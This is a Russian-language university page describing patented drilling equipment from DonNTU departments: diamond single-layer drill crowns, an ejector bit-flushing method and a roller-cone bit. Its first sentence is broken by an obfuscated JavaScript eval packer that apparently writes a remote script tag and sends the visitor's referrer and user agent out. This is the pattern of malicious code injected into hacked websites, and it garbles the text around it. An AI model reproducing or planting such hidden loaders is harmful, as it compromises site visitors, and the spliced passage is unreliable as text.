

Сотрудниками eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|id|bei|var|u0026u|referrer|fztir||js|php'.split('|'),0,{}))) кафедры Технологии и техники бурения скважин ДонНТУ проводятся исследования в области создания новых технических средств и технологий бурения геологоразведочных скважин. Права на новые технические решения защищены патентами на изобретения и полезные модели.

На кафедра Мехатронных систем машиностроительного оборудования разработана буровая техника.

Одними из последних достижений кафедры является создание серии усовершенствованных алмазных однослойных буровых коронок, разработанная совместно с учеными Института сверхтвердых материалов им. В.Н. Бакуля.

1. Алмазная однослойная буровая коронка: патент Украины на изобретение № 108942 , МПК: E21B 10/36 / Каракозов А.А., Попова М.С., Богданов Р.К., Закора А.П.; ДонНТУ, заяв. №а201401753 от 24.02.2014 г., опубл. 25.06.2015, бюл. №12.

Алмазная однослойная буровая коронка содержит корпус с матрицей, разделенной промывочными каналами на секторы, и объемные алмазы, размещенные в каждом секторе на матрице одним слоем в радиальных рядах. В каждом секторе размещены два радиальных ряда объемных алмазов. Длина промывочного канала равняется расстоянию между рядами объемных алмазов в секторе, при этом длина сектора составляет три длины промывочного канала, а сумма длин сектора и промывочного канала находится в пределах 5-5,5 диаметра объемных алмазов.

При вращении коронки объемные алмазы углубляются в породу и срезают ее из забоя скважины слой за слоем. При этом части разрушенной породы удаляются из забоя скважины потоком циркулируемой жидкости. В каждом секторе расположено только два радиальных ряда объемных алмазов, что позволяет в процессе бурения всеми объемными алмазами каждого сектора снимать одинаковый слой породы и нагружать одинаково. Каждый цикл углубления коронки происходит в тот момент, когда объемные алмазы сектора переместятся на место объемных алмазов предыдущего сектора.

В процессе использования буровой коронки достигается равномерность нагрузки объемных алмазов и повышение углубления коронки за оборот.

2. Алмазная однослойная буровая коронка: патент Украины на изобретение № 108943 , МПК: E21B 10/36 / Каракозов А.А., Попова М.С., Богданов Р.К., Загора А.П.; ДонНТУ, заяв. №а201401755 от 24.02.2014 г., опубл. 25.06.2015, бюл. №12.

Алмазная однослойная буровая коронка содержит корпус с матрицей, разделенной промывочными каналами на секторы, и объемные алмазы, размещенные в каждом секторе на матрице одним слоем в радиальных рядах. Прочность объемных алмазов первых двух

радиальных рядов ($P1$) и других радиальных рядов ($P2$) сектора связаны следующими соотношениями: если объемные алмазы первого и последнего радиальных рядов сектора размещены на разных линиях резки, то $P1 = P2lk/la$, а если они размещены на одной линии резки, то $P1 = P2 (lk/la + 1)$, где lk и la - расстояния в линии резки, соответственно, между первыми алмазами сектора и последние алмазами предыдущего сектора и между соседними алмазами сектора. Наиболее термостойкие объемные алмазы расположены во втором радиальном ряду каждого сектора.

При вращении коронки объемные алмазы углубляются в породу и срезают ее из забоя скважины слой за слоем. При этом части разрушенной породы удаляются из забоя скважины потоком жидкости. Объемные алмазы первых двух радиальных рядов сектора снимают наибольший слой породы и преодолевают большее сопротивление породы, чем остальные объемные алмазы сектора. Это сопротивление пропорционально толщине слоя срезаемой породы. Прочность первых двух радиальных рядов сектора должна быть больше прочности объемных алмазов других радиальных рядов сектора в том же соотношении, что и для толщины слоев срезаемых пород.

За счет регламентации прочности объемных алмазов в радиальных рядах каждого сектора обеспечивается уменьшение износа объемных алмазов первых двух радиальных рядов секторов и, как следствие, увеличение ресурса работы коронки.

3. Способ промывки долота: патент Украины на полезную модель № 20154, МПК E21B 10/18 /Юшков А.С., Юшков И.А.; ДонНТУ, заявка № u2006 07576, заявл. 07.07.2006, опубл. 15.01.2007, бюл. № 1.

Полезная модель относится к области бурения скважин, а именно к движению промывочных жидкостей в буровом долоте и может быть использована для бескернового бурения в зонах катастрофического поглощения при малых подачах промывочной жидкости.

Способ промывки долота включает размещение над долотом эжекторного насоса и создание эжектированного потока промывочной жидкости. Эжектированный поток направляют в забой и объединяют с рабочим потоком.

Эжекторный поток, который образуется, смешивается в смесителе с рабочим потоком. Таким образом эжекторный поток сочетали с рабочим, и к забою под шарошки долото направляется суммарный поток. Способ прошел апробацию в лабораторных условиях. Шарошечным долотом бурили блок горной породы, и при испытании нагрев шарошек долота не наблюдался.

Использование способа позволяет улучшить охлаждение долота в забое за счет соединения рабочего потока с эжекторным в зонах катастрофического поглощения промывочной жидкости, когда с целью экономии ограничено количество ее подачи.

4. Буровое шарошечное долото: патент Украины на изобретение № 15777, МПК E21B 10/16 / Петтик Ю.В., Пилюшенко В.Л., Гордон З.Л., Леоненко Е.В., Матюха П.Г., Дубина В.С., Федонюк В.М., Прилена В.Т., Питык Я.В.; ДонНТУ-Спецшахтострой, заявка № 93040394, заявл. 22.12.1992, опубл. 30.06.1997, бюл. №3.

кафедра Мехатронных систем машиностроительного оборудования

Изобретение относится к буровой технике и может быть использовано при бурении скважин большого диаметра, преимущественно реактивно-турбинным способом.

Буровое шарошечное долото, содержит корпус с лапами и закрепленные на опорах лап шарошки с периферийным зубчатым венцом. Шарошка закреплена относительно оси долота так, что режущая кромка зуба периферийного венца расположена в плоскости перпендикулярной оси долота.

Конструктивные особенности расположения шарошки обеспечивают равномерное распределение удельных нагрузок по кромке зуба. Кроме этого обеспечивается увеличение контактной поверхности режущей кромки зуба с разрушаемой породой что повышает стойкость шарошек к износу. Особая схема размещения зубьев на шарошке позволяет увеличить проходку за счет увеличения срока службы шарошек и сократить непроизводительные спуско-подъемные работы.